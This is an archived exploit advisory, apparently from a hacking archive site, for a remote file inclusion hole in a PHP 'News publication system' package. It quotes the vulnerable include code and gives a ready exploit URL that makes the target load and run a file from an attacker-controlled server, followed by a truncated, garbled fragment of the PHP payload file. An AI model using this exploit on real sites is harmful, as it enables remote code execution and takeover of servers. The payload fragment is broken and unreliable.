AOH :: HP Unsorted N :: B06-5629.HTM

News publication system remote File include



News publication system remote File include
News publication system remote File include



Software: News publication system
--------------------------------
Description: News publication system provides a mechanism for news blocks publication on site in conformity with rules and templates set. Provides a mechanism for adding news to the system and news management. Provides a mechanism for system management functions access control.
------------------------------------
Site: http://sourceforge.net/project/showfiles.php?group_id=27445 
-----------------------------------------------------------

The variable $path in class.Database.php isn't defined before it is included.  Register_Globals must be on.

Vulnerable Code:

if ($path!="")
  include $path."config.inc";
else
include "../config.inc";
-----------------------------
Exploit
http://[SITE]/newsp/lib/class.Database.php?path=http://[your server]/jacked.txt? 
------------------------------
Jacked.txt

';
}
else
{
echo 'handle failed';
}
echo $data;
}
exit(0);
?>

Navairum
legalize it

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.